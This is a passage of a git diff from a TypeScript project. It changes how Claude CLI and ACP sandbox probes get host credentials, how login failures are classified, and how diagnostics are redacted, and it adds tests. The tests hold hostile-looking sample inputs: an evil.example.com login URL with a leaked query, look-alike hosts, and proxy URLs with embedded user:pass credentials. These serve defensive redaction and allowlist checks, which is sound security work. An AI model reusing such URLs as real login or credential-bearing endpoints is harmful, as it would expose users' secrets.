+      probeEnv.CLAUDE_CODE_OAUTH_TOKEN = hostOauthToken.trim();
+    }
+    // Seed the host ANTHROPIC_AUTH_TOKEN the same way. A local ACP run inherits
+    // a host bearer auth token, so the probe must receive the same token.
+    // Without this seed a valid host ANTHROPIC_AUTH_TOKEN setup reports a false
+    // claude_hello_probe_auth_required and fails the Test lane.
+    if (isNonEmpty(hostAuthToken) && !isNonEmpty(probeEnv.ANTHROPIC_AUTH_TOKEN)) {
+      probeEnv.ANTHROPIC_AUTH_TOKEN = hostAuthToken.trim();
+    }
+    // Seed the host CLAUDE_CONFIG_DIR the same way. A local ACP run reads the
+    // stored Claude login from the host CLAUDE_CONFIG_DIR, so the probe must
+    // read the same stored login. Without this seed a valid host stored login
+    // reports a false claude_hello_probe_auth_required and fails the Test lane.
+    if (isNonEmpty(hostConfigDir) && !isNonEmpty(probeEnv.CLAUDE_CONFIG_DIR)) {
+      probeEnv.CLAUDE_CONFIG_DIR = hostConfigDir.trim();
+    }
+    const runId = `claude-acp-envtest-${Date.now()}-${Math.random().toString(16).slice(2)}`;
+    checks.push(
+      ...(await prepareSandboxClaudeProbeRuntime({
+        runId,
+        target,
+        cwd,
+        companyId: ctx.companyId,
+        env: probeEnv,
+        installCommand: SANDBOX_INSTALL_COMMAND,
+        detectCommand: "claude",
+        targetIsRemote,
+        targetIsSandbox,
+        helloProbeTimeoutSec: asNumber(config.helloProbeTimeoutSec, targetIsSandbox ? 90 : 45),
+      })),
+    );
+    const canProbe = !checks.some((check) => check.code === "claude_managed_config_dir_failed");
+    if (canProbe) {
+      checks.push(...(await probeClaudeAcpSandboxLogin({ config, target, env: probeEnv })));
+    }
+  }
+
   const mode = firstNonEmptyString(config.mode, config.acpMode) ?? DEFAULT_ACP_ENGINE_MODE;
   const warmHandleIdleMs = asNumber(
     config.warmHandleIdleMs ?? config.acpWarmHandleIdleMs,
diff --git a/packages/adapters/claude-local/src/server/auth-check.ts b/packages/adapters/claude-local/src/server/auth-check.ts
new file mode 100644
index 00000000000..b165f91deef
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/auth-check.ts
@@ -0,0 +1,7 @@
+/**
+ * The canonical check code the Claude Test engine emits when a sandbox target has
+ * no ready authentication. This module re-exports the one shared constant, so
+ * the adapters and the user interface gate login from the same code. See the
+ * source in the shared package for the full contract.
+ */
+export { ADAPTER_AUTH_MISSING_CHECK_CODE } from "@paperclipai/shared";
diff --git a/packages/adapters/claude-local/src/server/claude-config.test.ts b/packages/adapters/claude-local/src/server/claude-config.test.ts
index a52fa38e542..5eb0b701db9 100644
--- a/packages/adapters/claude-local/src/server/claude-config.test.ts
+++ b/packages/adapters/claude-local/src/server/claude-config.test.ts
@@ -2,7 +2,27 @@ import * as fs from "node:fs/promises";
 import os from "node:os";
 import path from "node:path";
 import { afterEach, describe, expect, it, vi } from "vitest";
-import { prepareClaudeConfigSeed } from "./claude-config.js";
+import type { AdapterExecutionTarget } from "@paperclipai/adapter-utils/execution-target";
+
+// A shared handle so the managed-config test can force the runtime preparation
+// step to throw an error that carries untrusted markers.
+const { prepareAdapterExecutionTargetRuntime } = vi.hoisted(() => ({
+  prepareAdapterExecutionTargetRuntime: vi.fn(),
+}));
+
+vi.mock("@paperclipai/adapter-utils/execution-target", async () => {
+  const actual = await vi.importActual<typeof import("@paperclipai/adapter-utils/execution-target")>(
+    "@paperclipai/adapter-utils/execution-target",
+  );
+  return {
+    ...actual,
+    adapterExecutionTargetUsesManagedHome: () => true,
+    maybeRunSandboxInstallCommand: async () => null,
+    prepareAdapterExecutionTargetRuntime,
+  };
+});
+
+import { prepareClaudeConfigSeed, prepareSandboxClaudeProbeRuntime } from "./claude-config.js";
 
 describe("prepareClaudeConfigSeed", () => {
   const cleanupDirs: string[] = [];
@@ -109,3 +129,96 @@ describe("prepareClaudeConfigSeed", () => {
       .resolves.toBe("local instructions");
   });
 });
+
+describe("prepareSandboxClaudeProbeRuntime managed-config diagnostics", () => {
+  const cleanupDirs: string[] = [];
+  const savedEnv: Record<string, string | undefined> = {};
+
+  const sandboxTarget: AdapterExecutionTarget = {
+    kind: "remote",
+    transport: "sandbox",
+    providerKey: "daytona",
+    remoteCwd: "/home/daytona/paperclip-workspace",
+    runner: {
+      execute: async () => ({
+        exitCode: 0,
+        signal: null,
+        timedOut: false,
+        stdout: "",
+        stderr: "",
+        pid: null,
+        startedAt: new Date().toISOString(),
+      }),
+    },
+  };
+
+  afterEach(async () => {
+    vi.restoreAllMocks();
+    vi.clearAllMocks();
+    for (const [key, value] of Object.entries(savedEnv)) {
+      if (value === undefined) delete process.env[key];
+      else process.env[key] = value;
+    }
+    while (cleanupDirs.length > 0) {
+      const dir = cleanupDirs.pop();
+      if (!dir) continue;
+      await fs.rm(dir, { recursive: true, force: true }).catch(() => undefined);
+    }
+  });
+
+  it("keeps a thrown config-materialization error out of every check and the log", async () => {
+    // The runtime preparation throws an error that carries two untrusted values:
+    // an opaque credential marker and a proxy marker. Neither may reach a check
+    // or the server log. The log carries only the fixed context, the allowlisted
+    // classification, and the safe error class name.
+    const opaqueCredMarker = "OPAQUECREDMARKERconfig";
+    const proxyMarker = "http://user:pass@proxy.corp.internal:3128";
+
+    const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-claude-config-mgmt-"));
+    cleanupDirs.push(root);
+    const sourceDir = path.join(root, "claude-source");
+    await fs.mkdir(sourceDir, { recursive: true });
+
+    for (const key of ["CLAUDE_CONFIG_DIR", "PAPERCLIP_HOME", "PAPERCLIP_INSTANCE_ID"]) {
+      savedEnv[key] = process.env[key];
+    }
+    process.env.CLAUDE_CONFIG_DIR = sourceDir;
+    process.env.PAPERCLIP_HOME = path.join(root, "paperclip-home");
+    process.env.PAPERCLIP_INSTANCE_ID = "test-instance";
+
+    prepareAdapterExecutionTargetRuntime.mockRejectedValueOnce(
+      new Error(`materialize failed with ${opaqueCredMarker} via ${proxyMarker}`),
+    );
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+
+    const checks = await prepareSandboxClaudeProbeRuntime({
+      runId: "run-1",
+      target: sandboxTarget,
+      // The probe passes no CLAUDE_CONFIG_DIR, so the managed branch runs.
+      cwd: "/home/daytona/paperclip-workspace",
+      companyId: "company-1",
+      env: {},
+      installCommand: "install-claude",
+      detectCommand: "claude",
+      targetIsRemote: true,
+      targetIsSandbox: true,
+      helloProbeTimeoutSec: 30,
+    });
+
+    const failed = checks.find((check) => check.code === "claude_managed_config_dir_failed");
+    expect(failed).toBeTruthy();
+    const checkText = JSON.stringify(checks);
+    expect(checkText).not.toContain(opaqueCredMarker);
+    expect(checkText).not.toContain("proxy.corp.internal");
+
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    const loggedText = JSON.stringify(warnSpy.mock.calls);
+    expect(loggedText).not.toContain(opaqueCredMarker);
+    expect(loggedText).not.toContain("proxy.corp.internal");
+    expect(warnSpy.mock.calls[0]?.[1]).toMatchObject({
+      classification: "spawn_error",
+      errorClass: "Error",
+    });
+    warnSpy.mockRestore();
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/claude-config.ts b/packages/adapters/claude-local/src/server/claude-config.ts
index f600c8b2193..2195a005443 100644
--- a/packages/adapters/claude-local/src/server/claude-config.ts
+++ b/packages/adapters/claude-local/src/server/claude-config.ts
@@ -2,14 +2,22 @@ import { createHash } from "node:crypto";
 import fs from "node:fs/promises";
 import os from "node:os";
 import path from "node:path";
-import type { AdapterExecutionContext, AdapterRuntimeMcpServer } from "@paperclipai/adapter-utils";
+import type {
+  AdapterExecutionContext,
+  AdapterEnvironmentCheck,
+  AdapterRuntimeMcpServer,
+} from "@paperclipai/adapter-utils";
 import {
+  adapterExecutionTargetUsesManagedHome,
+  maybeRunSandboxInstallCommand,
+  prepareAdapterExecutionTargetRuntime,
   runAdapterExecutionTargetShellCommand,
   type AdapterExecutionTarget,
   type AdapterExecutionTargetShellOptions,
 } from "@paperclipai/adapter-utils/execution-target";
 import { resolvePaperclipInstanceRootForAdapter } from "@paperclipai/adapter-utils/server-utils";
 import { shellQuote } from "@paperclipai/adapter-utils/ssh";
+import { classifyThrownErrorClass, logSandboxProbeDiagnostic } from "./probe-diagnostics.js";
 
 const SEEDED_SHARED_FILES = ["settings.json", "CLAUDE.md"] as const;
 
@@ -242,3 +250,126 @@ export async function materializeRemoteClaudeConfig(input: {
     input.options,
   );
 }
+
+function isNonEmptyString(value: unknown): value is string {
+  return typeof value === "string" && value.trim().length > 0;
+}
+
+/**
+ * Prepare the sandbox runtime that a Claude hello probe needs. The step
+ * installs the Claude CLI in the sandbox when the CLI is absent, and it
+ * materializes the Paperclip-managed Claude config directory. Both the CLI
+ * Test lane and the ACP Test lane call this helper, so the two lanes probe
+ * the same login state. The Claude CLI and the Claude ACP engine share the
+ * same stored Claude login.
+ *
+ * The function mutates `env`: it sets `CLAUDE_CONFIG_DIR` to the managed
+ * remote config directory when it materializes one. It returns the checks to
+ * add to the Test result. An operator-provided `CLAUDE_CONFIG_DIR` wins, so
+ * the function keeps it and skips the managed materialization.
+ */
+export async function prepareSandboxClaudeProbeRuntime(input: {
+  runId: string;
+  target: AdapterExecutionTarget | null;
+  cwd: string;
+  companyId?: string;
+  env: Record<string, string>;
+  installCommand: string;
+  detectCommand: string;
+  targetIsRemote: boolean;
+  targetIsSandbox: boolean;
+  helloProbeTimeoutSec: number;
+}): Promise<AdapterEnvironmentCheck[]> {
+  const checks: AdapterEnvironmentCheck[] = [];
+  const installCheck = await maybeRunSandboxInstallCommand({
+    runId: input.runId,
+    target: input.target,
+    adapterKey: "claude",
+    installCommand: input.installCommand,
+    detectCommand: input.detectCommand,
+    env: input.env,
+  });
+  if (installCheck) checks.push(installCheck);
+
+  const hasExplicitClaudeConfigDir = isNonEmptyString(input.env.CLAUDE_CONFIG_DIR);
+  if (
+    input.targetIsRemote &&
+    adapterExecutionTargetUsesManagedHome(input.target) &&
+    !hasExplicitClaudeConfigDir
+  ) {
+    let tempWorkspaceDir: string | null = null;
+    let preparedRuntime: Awaited<ReturnType<typeof prepareAdapterExecutionTargetRuntime>> | null = null;
+    try {
+      const seedDir = await prepareClaudeConfigSeed(process.env, async () => {}, input.companyId);
+      const managedRemoteCwd =
+        input.target?.kind === "remote" ? input.target.remoteCwd : input.cwd;
+      tempWorkspaceDir = await fs.mkdtemp(
+        path.join(os.tmpdir(), "paperclip-claude-envtest-workspace-"),
+      );
+      preparedRuntime = await prepareAdapterExecutionTargetRuntime({
+        runId: input.runId,
+        target: input.target,
+        adapterKey: "claude",
+        workspaceLocalDir: tempWorkspaceDir,
+        workspaceRemoteDir: managedRemoteCwd,
+        timeoutSec: Math.max(1, input.helloProbeTimeoutSec),
+        assets: [
+          {
+            key: "config-seed",
+            localDir: seedDir,
+            followSymlinks: true,
+          },
+        ],
+      });
+      const runtimeRootDir =
+        preparedRuntime.runtimeRootDir ??
+        path.posix.join(managedRemoteCwd, ".paperclip-runtime", "claude");
+      const remoteClaudeConfigSeedDir =
+        preparedRuntime.assetDirs["config-seed"] ??
+        path.posix.join(runtimeRootDir, "config-seed");
+      const remoteClaudeConfigDir = path.posix.join(runtimeRootDir, "config");
+      input.env.CLAUDE_CONFIG_DIR = remoteClaudeConfigDir;
+      await materializeRemoteClaudeConfig({
+        runId: input.runId,
+        target: input.target,
+        remoteClaudeConfigDir,
+        remoteClaudeConfigSeedDir,
+        options: {
+          cwd: input.cwd,
+          env: input.env,
+          timeoutSec: Math.max(15, input.helloProbeTimeoutSec),
+          graceSec: 5,
+          onLog: async () => {},
+        },
+      });
+      checks.push({
+        code: "claude_managed_config_dir",
+        level: "info",
+        message: "The environment probe is using Paperclip-managed Claude config materialization.",
+        detail: remoteClaudeConfigDir,
+      });
+    } catch (err) {
+      // Keep the raw error out of the Test-result check and the server log. Log
+      // only the fixed context, the allowlisted classification, and a safe
+      // error class name.
+      logSandboxProbeDiagnostic(
+        "Could not materialize Paperclip-managed Claude config for the environment probe",
+        "spawn_error",
+        { errorClass: classifyThrownErrorClass(err) },
+      );
+      checks.push({
+        code: "claude_managed_config_dir_failed",
+        level: "error",
+        message: "Could not materialize Paperclip-managed Claude config for the environment probe.",
+        hint: "Retry the Test. If the failure repeats, check the server log for the redacted diagnostic.",
+      });
+    } finally {
+      await preparedRuntime?.restoreWorkspace().catch(() => undefined);
+      if (tempWorkspaceDir) {
+        await fs.rm(tempWorkspaceDir, { recursive: true, force: true }).catch(() => undefined);
+      }
+    }
+  }
+
+  return checks;
+}
diff --git a/packages/adapters/claude-local/src/server/execute.acp-fallback.test.ts b/packages/adapters/claude-local/src/server/execute.acp-fallback.test.ts
index bf7baafcbe6..772fc70302d 100644
--- a/packages/adapters/claude-local/src/server/execute.acp-fallback.test.ts
+++ b/packages/adapters/claude-local/src/server/execute.acp-fallback.test.ts
@@ -113,7 +113,7 @@ describe("claude_local ACP startup fallback", () => {
 
   it("trusts the Paperclip API URL when network access is allowlisted", async () => {
     const paperclipApiUrl = "http://127.0.0.1:4310";
-    vi.stubEnv("PAPERCLIP_RUNTIME_API_URL", paperclipApiUrl);
+    vi.stubEnv("PAPERCLIP_API_URL", paperclipApiUrl);
     const ctx = buildContext({ networkScope: "allowlist" });
 
     await execute(ctx as never);
diff --git a/packages/adapters/claude-local/src/server/execute.ts b/packages/adapters/claude-local/src/server/execute.ts
index d0cbbe8140f..6dcdd810459 100644
--- a/packages/adapters/claude-local/src/server/execute.ts
+++ b/packages/adapters/claude-local/src/server/execute.ts
@@ -715,7 +715,7 @@ export async function execute(ctx: AdapterExecutionContext): Promise<AdapterExec
       effectiveEffort = "";
       await onLog(
         "stderr",
-        `[paperclip] Claude CLI in the sandbox does not advertise --effort; omitting configured effort "${effort}". Upgrade the sandbox CLI/image to restore reasoning-effort control.\n`,
+        `[paperclip] Claude CLI in the environment does not advertise --effort; omitting configured effort "${effort}". Upgrade the environment CLI/image to restore reasoning-effort control.\n`,
       );
     }
   }
diff --git a/packages/adapters/claude-local/src/server/index.ts b/packages/adapters/claude-local/src/server/index.ts
index 801923f3957..bb677eb6f18 100644
--- a/packages/adapters/claude-local/src/server/index.ts
+++ b/packages/adapters/claude-local/src/server/index.ts
@@ -36,8 +36,8 @@ export {
   parseSetupTokenPrompt,
   parseSetupTokenCredential,
   SETUP_TOKEN_PROMPT,
-  SETUP_TOKEN_URL_ORIGIN,
-  SETUP_TOKEN_URL_PATH,
+  SETUP_TOKEN_AUTH_URLS,
+  SETUP_TOKEN_REDIRECT_URI,
   SETUP_TOKEN_URL_QUERY_KEYS,
   SETUP_TOKEN_PREFIX,
   SETUP_TOKEN_BEFORE_ANCHOR,
@@ -52,7 +52,6 @@ export {
   CLAUDE_SETUP_TOKEN_COMMAND,
   CODE_SUBMISSION_TERMINATOR,
   CLAUDE_SETUP_TOKEN_MAX_BUFFER_CHARS,
-  SETUP_TOKEN_CREDENTIAL_RELEASE_GATE,
 } from "./setup-token-runner.js";
 export type {
   SetupTokenPtyDriver,
diff --git a/packages/adapters/claude-local/src/server/parse.test.ts b/packages/adapters/claude-local/src/server/parse.test.ts
index 9e88e5a8c9e..13b4964b998 100644
--- a/packages/adapters/claude-local/src/server/parse.test.ts
+++ b/packages/adapters/claude-local/src/server/parse.test.ts
@@ -33,6 +33,118 @@ describe("detectClaudeLoginRequired", () => {
       }).requiresLogin,
     ).toBe(false);
   });
+
+  it("classifies an invalid or expired OAuth bearer token as login required", () => {
+    // Grounded on the real Claude CLI output for CLAUDE_CODE_OAUTH_TOKEN=invalid:
+    // the result event carries a 401 authentication failure and an "Invalid
+    // bearer token" message. This is an auth failure, not a probe that could not
+    // run, so the detector must classify it as login required.
+    const parsed = {
+      is_error: true,
+      subtype: "success",
+      api_error_status: 401,
+      error: "authentication_failed",
+      result: "Failed to authenticate. API Error: 401 Invalid bearer token",
+    };
+    expect(
+      detectClaudeLoginRequired({
+        parsed,
+        stdout:
+          '{"type":"assistant","message":{"content":[{"type":"text","text":"Failed to authenticate. API Error: 401 Invalid bearer token"}]},"error":"authentication_failed"}',
+        stderr: "",
+      }).requiresLogin,
+    ).toBe(true);
+  });
+
+  it("does not route an invalid token to the transient or quota classifiers", () => {
+    // An auth failure must win over the transient and quota lanes, so a run
+    // surfaces login required instead of a retry.
+    const input = {
+      parsed: {
+        is_error: true,
+        result: "Failed to authenticate. API Error: 401 Invalid bearer token",
+      },
+      stdout: "",
+      stderr: "",
+    };
+    expect(isClaudeTransientUpstreamError(input)).toBe(false);
+    expect(isClaudeProviderQuotaError(input)).toBe(false);
+  });
+
+  it("classifies an expired or revoked token in the parsed result as login required", () => {
+    // The result event marks the run as a failure and reports an expired token.
+    // This is a token failure, so the detector classifies it as login required.
+    const parsed = {
+      is_error: true,
+      subtype: "success",
+      result: "Failed to authenticate. Your OAuth access token is expired.",
+    };
+    expect(
+      detectClaudeLoginRequired({ parsed, stdout: "", stderr: "" }).requiresLogin,
+    ).toBe(true);
+  });
+
+  it("does not classify a successful probe whose assistant text repeats a token phrase", () => {
+    // A healthy run can print an auth phrase in its answer text. The parsed
+    // result is a success, so the token-failure markers must not fire on the raw
+    // stdout assistant event.
+    const parsed = {
+      is_error: false,
+      subtype: "success",
+      result: "hello",
+    };
+    expect(
+      detectClaudeLoginRequired({
+        parsed,
+        stdout:
+          '{"type":"assistant","message":{"content":[{"type":"text","text":"The phrase authentication_failed means an invalid bearer token."}]}}',
+        stderr: "",
+      }).requiresLogin,
+    ).toBe(false);
+  });
+
+  it("does not classify a success whose result text repeats a token phrase", () => {
+    // The model's own answer repeats a token phrase, so the phrase lands in the
+    // parsed result. The run is a success, so the failure gate keeps it healthy.
+    const parsed = {
+      is_error: false,
+      subtype: "success",
+      result: "Sure. An invalid bearer token means authentication_failed.",
+    };
+    expect(
+      detectClaudeLoginRequired({ parsed, stdout: "", stderr: "" }).requiresLogin,
+    ).toBe(false);
+  });
+
+  it("keeps a transient failure with an assistant token phrase on the transient lane", () => {
+    // The run fails on a 503 transient error. The token phrase appears only in
+    // the raw stdout assistant event, not the parsed result, so the run stays
+    // transient and never classifies as login required.
+    const input = {
+      parsed: {
+        is_error: true,
+        subtype: "error_during_execution",
+        result: "API Error: 503 service unavailable",
+      },
+      stdout:
+        '{"type":"assistant","message":{"content":[{"type":"text","text":"authentication_failed: the bearer token is invalid"}]}}',
+      stderr: "",
+    };
+    expect(detectClaudeLoginRequired(input).requiresLogin).toBe(false);
+    expect(isClaudeTransientUpstreamError(input)).toBe(true);
+  });
+
+  it("does not treat a bare token phrase in raw stdout with no parsed result as login required", () => {
+    // Untrusted stdout alone must not satisfy a token-failure marker. Only the
+    // parsed terminal result fields of a failed run can trip the token markers.
+    expect(
+      detectClaudeLoginRequired({
+        parsed: null,
+        stdout: "authentication_failed while the assistant called a tool",
+        stderr: "",
+      }).requiresLogin,
+    ).toBe(false);
+  });
 });
 
 describe("isClaudeModelNotFoundError", () => {
diff --git a/packages/adapters/claude-local/src/server/parse.ts b/packages/adapters/claude-local/src/server/parse.ts
index 16e875acffd..a3f3d95bec3 100644
--- a/packages/adapters/claude-local/src/server/parse.ts
+++ b/packages/adapters/claude-local/src/server/parse.ts
@@ -2,11 +2,22 @@ import type { UsageSummary } from "@paperclipai/adapter-utils";
 import {
   asString,
   asNumber,
+  asBoolean,
   parseObject,
   parseJson,
 } from "@paperclipai/adapter-utils/server-utils";
 
-const CLAUDE_AUTH_REQUIRED_RE = /(?:not\s+logged\s+in|please\s+log\s+in|please\s+run\s+(?:`?claude\s+login`?|\/login)|login\s+required|requires\s+login|unauthorized|authentication\s+required|invalid\s+api\s+key[\s\S]{0,120}(?:\/login|claude\s+login|log\s+in))/i;
+// The legacy login-prompt markers. The Claude CLI prints these words when it
+// asks the user to log in. The detector matches them against any probe output
+// line, which includes the raw stdout and stderr. This scope is pre-existing.
+const CLAUDE_LOGIN_PROMPT_RE =
+  /(?:not\s+logged\s+in|please\s+log\s+in|please\s+run\s+(?:`?claude\s+login`?|\/login)|login\s+required|requires\s+login|unauthorized|authentication\s+required|invalid\s+api\s+key[\s\S]{0,120}(?:\/login|claude\s+login|log\s+in))/i;
+
+// The token-failure markers. An assistant or model event can print these same
+// words as ordinary prose, so the detector matches them only against the parsed
+// terminal result fields of a failed run. See detectClaudeLoginRequired.
+const CLAUDE_AUTH_TOKEN_FAILURE_RE =
+  /(?:authentication[_\s-](?:failed|error)|failed\s+to\s+authenticate|invalid\s+bearer\s+token|(?:invalid|expired|revoked)[\s\S]{0,40}(?:bearer|oauth|access)\s+token|(?:bearer|oauth|access)\s+token[\s\S]{0,40}(?:is\s+)?(?:invalid|expired|revoked))/i;
 const URL_RE = /(https?:\/\/[^\s'"`<>()[\]{};,!?]+[^\s'"`<>()[\]{};,!.?:]+)/gi;
 
 const CLAUDE_TRANSIENT_UPSTREAM_RE =
@@ -163,21 +174,63 @@ export function extractClaudeLoginUrl(text: string): string | null {
   return match[0]?.replace(/[\])}.!,?;:'\"]+$/g, "") ?? null;
 }
 
+// Collect the parsed terminal result fields that carry an auth failure. The
+// CLI writes the token-failure text to the result event, so the detector reads
+// the result string, the top-level error field, and the errors array. It never
+// reads the raw stdout, so an assistant event cannot inject a token marker.
+function collectClaudeTerminalText(parsed: Record<string, unknown>): string {
+  return [
+    asString(parsed.result, ""),
+    asString(parsed.error, ""),
+    ...extractClaudeErrorMessages(parsed),
+  ]
+    .map((field) => field.trim())
+    .filter(Boolean)
+    .join("\n");
+}
+
+// Report whether the parsed terminal result marks the run as an auth failure.
+// The token-failure markers apply only to a failed run. A successful probe
+// whose answer text repeats an auth phrase does not classify as login required.
+function claudeResultIndicatesAuthFailure(parsed: Record<string, unknown>): boolean {
+  if (asBoolean(parsed.is_error, false)) return true;
+  const subtype = asString(parsed.subtype, "").trim().toLowerCase();
+  if (subtype.startsWith("error")) return true;
+  const status =
+    asNumber(parsed.api_error_status, 0) || asNumber(parsed.error_status, 0);
+  if (status === 401 || status === 403) return true;
+  if (asString(parsed.error, "").trim()) return true;
+  return extractClaudeErrorMessages(parsed).length > 0;
+}
+
 export function detectClaudeLoginRequired(input: {
   parsed: Record<string, unknown> | null;
   stdout: string;
   stderr: string;
 }): { requiresLogin: boolean; loginUrl: string | null } {
-  const resultText = asString(input.parsed?.result, "").trim();
-  const messages = [resultText, ...extractClaudeErrorMessages(input.parsed ?? {}), input.stdout, input.stderr]
+  const parsed = input.parsed ?? null;
+  const resultText = asString(parsed?.result, "").trim();
+
+  // The legacy login-prompt markers keep their broad scope. They match against
+  // every output line, which includes the parsed result, the parsed errors, and
+  // the raw stdout and stderr.
+  const promptLines = [resultText, ...extractClaudeErrorMessages(parsed ?? {}), input.stdout, input.stderr]
     .join("\n")
     .split(/\r?\n/)
     .map((line) => line.trim())
     .filter(Boolean);
+  const loginPrompt = promptLines.some((line) => CLAUDE_LOGIN_PROMPT_RE.test(line));
+
+  // The token-failure markers match only against the parsed terminal fields of
+  // a failed run. The raw stdout is untrusted, so a model that prints a token
+  // phrase, or a successful run that repeats one, does not flip the classifier.
+  const tokenFailure =
+    parsed !== null &&
+    claudeResultIndicatesAuthFailure(parsed) &&
+    CLAUDE_AUTH_TOKEN_FAILURE_RE.test(collectClaudeTerminalText(parsed));
 
-  const requiresLogin = messages.some((line) => CLAUDE_AUTH_REQUIRED_RE.test(line));
   return {
-    requiresLogin,
+    requiresLogin: loginPrompt || tokenFailure,
     loginUrl: extractClaudeLoginUrl([input.stdout, input.stderr].join("\n")),
   };
 }
diff --git a/packages/adapters/claude-local/src/server/probe-diagnostics.test.ts b/packages/adapters/claude-local/src/server/probe-diagnostics.test.ts
new file mode 100644
index 00000000000..d19e8285944
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/probe-diagnostics.test.ts
@@ -0,0 +1,145 @@
+import { describe, expect, it, vi } from "vitest";
+import {
+  buildClaudeLoginRequiredHint,
+  classifyThrownErrorClass,
+  logSandboxProbeDiagnostic,
+  normalizeClaudeLoginUrl,
+} from "./probe-diagnostics.js";
+
+describe("normalizeClaudeLoginUrl", () => {
+  it("accepts an allowlisted https Claude host with no query or fragment", () => {
+    expect(normalizeClaudeLoginUrl("https://claude.ai/login")).toBe("https://claude.ai/login");
+  });
+
+  it("accepts an allowlisted Anthropic subdomain", () => {
+    expect(normalizeClaudeLoginUrl("https://console.anthropic.com/login")).toBe(
+      "https://console.anthropic.com/login",
+    );
+  });
+
+  it("rejects a URL with a query", () => {
+    expect(normalizeClaudeLoginUrl("https://claude.ai/login?token=secret")).toBeNull();
+  });
+
+  it("rejects a URL with a fragment", () => {
+    expect(normalizeClaudeLoginUrl("https://claude.ai/login#access_token=secret")).toBeNull();
+  });
+
+  it("rejects a non-https URL", () => {
+    expect(normalizeClaudeLoginUrl("http://claude.ai/login")).toBeNull();
+  });
+
+  it("rejects a non-allowlisted host", () => {
+    expect(normalizeClaudeLoginUrl("https://evil.example.com/claude-login")).toBeNull();
+  });
+
+  it("rejects a look-alike host that only ends with the brand word", () => {
+    expect(normalizeClaudeLoginUrl("https://claude.ai.evil.com/login")).toBeNull();
+    expect(normalizeClaudeLoginUrl("https://notclaude.ai/login")).toBeNull();
+  });
+
+  it("rejects a URL that embeds credentials or a port", () => {
+    expect(normalizeClaudeLoginUrl("https://user:pass@claude.ai/login")).toBeNull();
+    expect(normalizeClaudeLoginUrl("https://claude.ai:8443/login")).toBeNull();
+  });
+
+  it("returns null for empty or malformed input", () => {
+    expect(normalizeClaudeLoginUrl(null)).toBeNull();
+    expect(normalizeClaudeLoginUrl(undefined)).toBeNull();
+    expect(normalizeClaudeLoginUrl("not a url")).toBeNull();
+  });
+});
+
+describe("buildClaudeLoginRequiredHint", () => {
+  it("names a safe login URL in the hint", () => {
+    expect(buildClaudeLoginRequiredHint("https://claude.ai/login")).toBe(
+      "Run `claude login` and complete sign-in at https://claude.ai/login, then retry.",
+    );
+  });
+
+  it("falls back to the fixed hint for an unsafe URL", () => {
+    expect(buildClaudeLoginRequiredHint("https://evil.example.com/claude-login?leak=secret")).toBe(
+      "Run `claude login` in this environment, then retry the probe.",
+    );
+  });
+
+  it("falls back to the fixed hint for a null URL", () => {
+    expect(buildClaudeLoginRequiredHint(null)).toBe(
+      "Run `claude login` in this environment, then retry the probe.",
+    );
+  });
+});
+
+describe("classifyThrownErrorClass", () => {
+  it("returns the constructor name for an Error", () => {
+    expect(classifyThrownErrorClass(new TypeError("boom"))).toBe("TypeError");
+    expect(classifyThrownErrorClass(new Error("boom"))).toBe("Error");
+  });
+
+  it("returns null for a non-Error value", () => {
+    expect(classifyThrownErrorClass("a raw secret string")).toBeNull();
+    expect(classifyThrownErrorClass(null)).toBeNull();
+    expect(classifyThrownErrorClass({ message: "opaque" })).toBeNull();
+  });
+});
+
+describe("logSandboxProbeDiagnostic", () => {
+  it("logs only the fixed context and the allowlisted classification", () => {
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+    logSandboxProbeDiagnostic("probe failed", "auth_required");
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    expect(warnSpy).toHaveBeenCalledWith("[paperclip] probe failed", {
+      classification: "auth_required",
+    });
+    warnSpy.mockRestore();
+  });
+
+  it("adds a finite exit code as a structured field", () => {
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+    logSandboxProbeDiagnostic("probe failed", "nonzero_exit", { exitCode: 3 });
+    expect(warnSpy).toHaveBeenCalledWith("[paperclip] probe failed", {
+      classification: "nonzero_exit",
+      exitCode: 3,
+    });
+    warnSpy.mockRestore();
+  });
+
+  it("drops a null or non-finite exit code", () => {
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+    logSandboxProbeDiagnostic("probe failed", "nonzero_exit", { exitCode: null });
+    logSandboxProbeDiagnostic("probe failed", "nonzero_exit", { exitCode: Number.NaN });
+    for (const call of warnSpy.mock.calls) {
+      expect(call[1]).toEqual({ classification: "nonzero_exit" });
+    }
+    warnSpy.mockRestore();
+  });
+
+  it("sanitizes the error class to an identifier and bounds its length", () => {
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+    // A crafted error class name that carries an opaque marker and a proxy URL.
+    // The sanitizer must strip every non-identifier character and bound the
+    // length, so no structured secret shape reaches the log.
+    logSandboxProbeDiagnostic("probe failed", "spawn_error", {
+      errorClass: `MARKER-LEAK http://user:pass@proxy.internal:8080/path?t=${"x".repeat(200)}`,
+    });
+    expect(warnSpy).toHaveBeenCalledTimes(1);
+    const detail = warnSpy.mock.calls[0]![1] as { errorClass?: string };
+    expect(detail.errorClass).toMatch(/^[A-Za-z0-9_$]+$/);
+    expect(detail.errorClass!.length).toBeLessThanOrEqual(64);
+    // The separators and the proxy structure do not survive.
+    expect(detail.errorClass).not.toContain("-");
+    expect(detail.errorClass).not.toContain(":");
+    expect(detail.errorClass).not.toContain("/");
+    warnSpy.mockRestore();
+  });
+
+  it("drops an empty or non-string error class", () => {
+    const warnSpy = vi.spyOn(console, "warn").mockImplementation(() => {});
+    logSandboxProbeDiagnostic("probe failed", "spawn_error", { errorClass: null });
+    logSandboxProbeDiagnostic("probe failed", "spawn_error", { errorClass: "***" });
+    for (const call of warnSpy.mock.calls) {
+      expect(call[1]).toEqual({ classification: "spawn_error" });
+    }
+    warnSpy.mockRestore();
+  });
+});
diff --git a/packages/adapters/claude-local/src/server/probe-diagnostics.ts b/packages/adapters/claude-local/src/server/probe-diagnostics.ts
new file mode 100644
index 00000000000..4fa4d1c2e5a
--- /dev/null
+++ b/packages/adapters/claude-local/src/server/probe-diagnostics.ts
@@ -0,0 +1,190 @@
+import type { AdapterEnvironmentCheck } from "@paperclipai/adapter-utils";
+
+/**
+ * The fixed label a Test result shows when the probe runs on the local
